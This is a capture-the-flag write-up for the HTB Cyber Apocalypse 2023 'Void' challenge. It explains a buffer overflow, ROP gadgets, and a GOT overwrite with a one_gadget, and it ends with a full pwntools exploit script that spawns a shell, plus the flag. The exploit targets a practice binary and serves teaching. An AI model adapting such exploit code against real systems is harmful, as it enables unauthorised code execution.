# HTB Cyber Apocalypse 2023: Void

## TL;DR

> Simple GOT overwrite with *one\_gadget* via a *write-what-where* gadget.

## Basic File Checks

Void is a simple binary that takes in user input and terminates right after that.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FL4UaIU0rleu1QdpQ6ZGx%2Fimage.png?alt=media&#x26;token=51cbc122-c209-4dac-937a-26505c0bd69c" alt=""><figcaption></figcaption></figure>

The binary does not come with a canary and PIE, meaning we would require only a LIBC info leak if we were to perform an ROP-based attack.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FewIHZibhTqanWGv3bN2A%2Fimage.png?alt=media&#x26;token=8f17cd0f-53f3-427f-bb4e-d28d2d07e9f6" alt=""><figcaption></figcaption></figure>

On the other hand, Partial RELRO indicates that we may be able to overwrite the Global Offset Table (GOT). However, there is only a single entry of `read@GLIBC` in the GOT, and nothing interesting like `puts()` or `write()` that we can use to leak the LIBC address.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FEaGpEF3qtFqc1oeuqMgc%2Fimage.png?alt=media&#x26;token=1d276457-c245-4edb-858e-e96097a80c0b" alt=""><figcaption></figcaption></figure>

## Static Code Analysis

The binary has an obvious buffer overflow in the `vuln` function. But other than that, the binary is very minimal, containing only a `read()` function, and nothing else; not even a *ret2win* function. This is a very typical textbook scenario for *ret2dlresolve* attack.

```c
void vuln(void)

{
  undefined local_48 [64];
  
  read(0,local_48,200);
  return;
}
```

## ret2dlresolve

Since the binary is a 64-bit program, there are known issues with exploiting *ret2dlresolve* with huge page sizes as described in this [redpwnCTF 2021](https://activities.tjhsst.edu/csc/writeups/redpwnctf-2021-devnull) writeup.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FSVy0eVoflPAwHR1cU7ZD%2Fimage.png?alt=media&#x26;token=4ca0d2b7-4272-461a-9d93-eb6f91c9d8e3" alt=""><figcaption></figcaption></figure>

## write-what-where

Inspecting the available ROP gadgets shows that there is a `write-what-where` gadget that is well-known in GCC-compiled binaries. If we can control both `ebx` and `rbp` values, we can leverage this gadget to overwrite the GOT.

**NOTE:** Ropper uses the Intel-syntax flavor, so `ebx` corresponds to WHAT; whereas `rbp` corresponds to WHERE. At the same time, `rbp` needs to account for the -0x48.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FNbVucnnyFZkVjr84AKMM%2Fimage.png?alt=media&#x26;token=cd410a49-86a7-4f40-a583-a7674872b6db" alt=""><figcaption></figcaption></figure>

Luckily for us, `pop rbp` and `pop rbx` are both present in the binary as well. This means that we can now overwrite the `read@GLIBC` entry in the GOT with something like `system()` and pop a shell via `/bin/sh` as the same as this [writeup](https://nandynarwhals.org/cyberpeace-2022-crysys/).

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fm3ytokrpRxEj3xFLmiJ6%2Fimage.png?alt=media&#x26;token=c25f6efd-456a-484d-b0c1-acc439febe4e" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Ropper limits the maximum count of instructions in a gadget to 6 by default. Turns out there's a better gadget to pop all 6 registers at once altogether. This option can be overridden via the `--inst-count` flag.
{% endhint %}

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FceUUjrf5qFf7rbn6gAPG%2Fimage.png?alt=media&#x26;token=e1475adf-6e2b-41d1-ac31-3af41e0dfd3e" alt=""><figcaption></figcaption></figure>

## One Gadget

Alternatively, we can also overwrite the GOT with a one\_gadget. We can satisfy all the constraints for the first one\_gadget since we have the `pop r12, pop r13, pop r14, pop r15` gadget at our disposal as well.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FjZzbrFODCWi1zv3ON03N%2Fimage.png?alt=media&#x26;token=0ae9d6da-e10f-4926-bd60-9b51752ef12f" alt=""><figcaption></figcaption></figure>

With ASLR disabled, we can calculate the actual address of the one\_gadget by adding its offset to the base address of LIBC.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F1kS33zkHDNKec8hws21U%2Fimage.png?alt=media&#x26;token=09a12bb0-d889-4f92-b6a4-1eb5c3118968" alt=""><figcaption></figcaption></figure>

## Solution

{% code title="solve.py" %}

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./void_patched")
libc = ELF("./libc6_2.31-0ubuntu9.9_amd64.so")
ld = ELF("./ld-2.31.so")

context.binary = exe

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)

    return r

def main():
    r = conn()

    pop_rbp = 0x000000000040110d
    pop_rbx = 0x0000000000401140
    write_what_where = 0x000000000040114e   # mov qword ptr [rbp - 0x48], rbx; ret;
    pop_r12_r13_r14_r15 = 0x000000000040112b
    one_gadget = libc.address + 0xe3afe

    # 0xe3afe execve("/bin/sh", r15, r12)
    # constraints:
    #   [r15] == NULL || r15 == NULL
    #   [r12] == NULL || r12 == NULL

    # vmmap: libc base address = 0x7ffff7dd5000
    # gdb: x 0x7ffff7dd5000 + 0xe3afe = 0x7ffff7eb8afe

    read_plt = exe.plt['read']
    read_got = exe.got['read']

    payload = b'A'*72
    payload += p64(pop_rbx) + p64(one_gadget)
    payload += p64(pop_rbp) + p64(read_got+0x48) # rbp needs to account for the -0x48
    payload += p64(pop_r12_r13_r14_r15) + p64(0)*4
    payload += p64(write_what_where) # trigger the write-what-where gadget to overwrite GOT
    payload += p64(read_plt) # trigger the fake read(), which is now the one_gadget
    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

```

{% endcode %}

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FB2zZvZ9HjSDcBRtA3gXn%2Fimage.png?alt=media&#x26;token=6821ae94-72e9-47d1-81ed-ee372e184b06" alt=""><figcaption></figcaption></figure>

**Flag:** HTB{r3s0lv3\_th3\_d4rkn355}
